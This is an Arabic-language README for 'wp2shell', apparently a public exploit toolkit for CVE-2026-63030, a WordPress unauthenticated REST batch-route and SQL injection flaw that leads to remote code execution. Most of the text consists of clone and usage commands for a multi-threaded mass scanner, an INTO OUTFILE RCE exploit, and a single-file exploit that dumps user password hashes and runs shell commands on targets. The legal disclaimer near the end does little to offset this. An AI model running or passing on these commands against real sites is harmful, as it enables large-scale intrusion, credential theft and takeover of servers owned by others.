🔍 wp2shell - ماسح ومستغل ثغرات WordPress CVE-2026-63030

⚡ ماسح ومستغل ثغرات سريع وفوري لـ CVE-2026-63030 (wp2shell)

📌 نظرة عامة

wp2shell عبارة عن مجموعة أدوات شاملة لاكتشاف واستغلال CVE-2026-63030، وهي ثغرة حرجة في WordPress تسمح للمهاجمين غير المصادق عليهم بتنفيذ تعليمات برمجية عن بُعد عبر ارتباك مسار الدُفعات في REST API مقترنًا بحقن SQL.

🔍 ما هي CVE-2026-63030؟

CVE-2026-63030 (wp2shell) هي ثغرة حرجة اكتشفها Adam Kues (Assetnote / Searchlight Cyber) وتؤثر على نواة WordPress. تجمع بين خطأين:

1. GHSA-ff9f-jf42-662q - ارتباك مسار الدُفعات في REST
2. GHSA-fpp7-x2x2-2mjf - حقن SQL في author__not_in

📊 الإصدارات المتأثرة

📦 الاستنساخ والإعداد

# Clone repository
git clone https://github.com/Lutfifakee-Project/wp2shell.git
cd wp2shell

# No dependencies required - uses Python standard library only!
# Python 3.7+ required

🛠️ الأدوات المتضمنة

1️⃣ wp2shell_scanner.py - ماسح سريع

ماسح فوري متعدد الخيوط لاكتشاف الثغرات على نطاق واسع.

# Basic scan
python wp2shell_scanner.py -f list.txt -o results.txt

# Skip SQLi test (faster)
python wp2shell_scanner.py -f list.txt -o results.txt --no-sqli-test

# JSON output
python wp2shell_scanner.py -f list.txt -j

2️⃣ wp2shell_intooutfile.py - استغلال INTO OUTFILE

يوضح متغير RCE الخاص بـ INTO OUTFILE (يتطلب صلاحية FILE في MySQL).

# Single target
python3 wp2shell_intooutfile.py https://target.com

# Multiple targets
python3 wp2shell_intooutfile.py -f list.txt -t 10

3️⃣ wp2shell-exploit.py - استغلال بملف واحد

نسخة محمولة بملف واحد من الاستغلال مع وظائف كاملة.

# Check vulnerability
python wp2shell-exploit.py check https://target.com

# Read users (extract password hashes)
python wp2shell-exploit.py read https://target.com --preset users

# Read fingerprint
python wp2shell-exploit.py read https://target.com --preset fingerprint

# Execute command (after cracking hash)
python wp2shell-exploit.py shell https://target.com --user admin --password "cracked" --cmd "id"

⚠️ إخلاء مسؤولية قانوني

مهم: هذه الأداة مخصصة للأغراض التعليمية والاختبار المصرح به فقط.

• استخدمها فقط على الأنظمة التي تملكها أو لديك إذن كتابي صريح لاختبارها.
• الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني.
• لا يتحمل المطورون أي مسؤولية عن إساءة استخدام هذا البرنامج. استخدمها بمسؤولية وأخلاقية.